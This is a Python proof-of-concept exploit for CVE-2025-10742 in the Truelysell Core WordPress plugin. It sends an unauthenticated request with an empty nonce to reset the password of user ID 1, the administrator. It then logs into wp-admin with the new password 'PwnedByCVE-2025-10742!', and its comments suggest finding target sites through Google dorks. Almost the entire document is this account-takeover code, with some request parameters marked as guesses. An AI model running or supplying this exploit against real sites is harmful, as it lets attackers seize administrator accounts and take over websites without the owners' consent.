# CVE-2025-10742 PoC - Truelysell Core Arbitrary Password Change
# Vulnerability: Unauthenticated Arbitrary User Password Change
# Affected: Truelysell Core <= 1.8.6
import requests
# Target configuration
TARGET_URL = "http://target-wordpress-site.com"
# The page containing 'truelysell_edit_staff' shortcode
SHORTCODE_PAGE = "/page-with-truelysell-edit-staff/"
def exploit_password_change(target_url, shortcode_page, user_id, new_password):
"""
Exploit the arbitrary password change vulnerability in Truelysell Core plugin.
The plugin fails to verify user authorization when processing the
'truelysell_edit_staff' shortcode, allowing unauthenticated password changes.
"""
endpoint = target_url.rstrip('/') + shortcode_page
# Construct the malicious payload
# The plugin accepts user-controlled parameters without proper authorization checks
payload = {
'truelysell_action': 'edit_staff',
'user_id': str(user_id),
'new_password': new_password,
'confirm_password': new_password,
# Additional parameters that may be required by the plugin
'staff_nonce': '', # May be empty or bypassed
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest'
}
try:
# Send the unauthenticated password change request
response = requests.post(
endpoint,
data=payload,
headers=headers,
timeout=30,
allow_redirects=False
)
if response.status_code == 200:
print(f"[+] Password change request sent successfully")
print(f"[+] Target User ID: {user_id}")
print(f"[+] New Password: {new_password}")
return True
else:
print(f"[-] Request failed with status code: {response.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Request error: {e}")
return False
def login_as_admin(target_url, username, password):
"""Login with the newly set credentials to verify exploitation."""
login_url = target_url.rstrip('/') + '/wp-login.php'
session = requests.Session()
payload = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': target_url + '/wp-admin/',
'testcookie': '1'
}
cookies = {'wordpress_test_cookie': 'WP+Cookie+check'}
response = session.post(login_url, data=payload, cookies=cookies, allow_redirects=True)
if 'wp-admin' in response.url or 'dashboard' in response.text.lower():
print(f"[+] Successfully logged in as {username}!")
return True
else:
print(f"[-] Login failed")
return False
if __name__ == "__main__":
# Step 1: Find page with 'truelysell_edit_staff' shortcode (via Google dork or crawling)
# Example: site:target.com inurl:staff
# Step 2: Change admin password (user ID 1 is typically the admin)
target_user_id = 1
new_password = "PwnedByCVE-2025-10742!"
print(f"[*] Targeting: {TARGET_URL}")
print(f"[*] Attempting to change password for user ID: {target_user_id}")
if exploit_password_change(TARGET_URL, SHORTCODE_PAGE, target_user_id, new_password):
# Step 3: Login with new credentials
login_as_admin(TARGET_URL, "admin", new_password)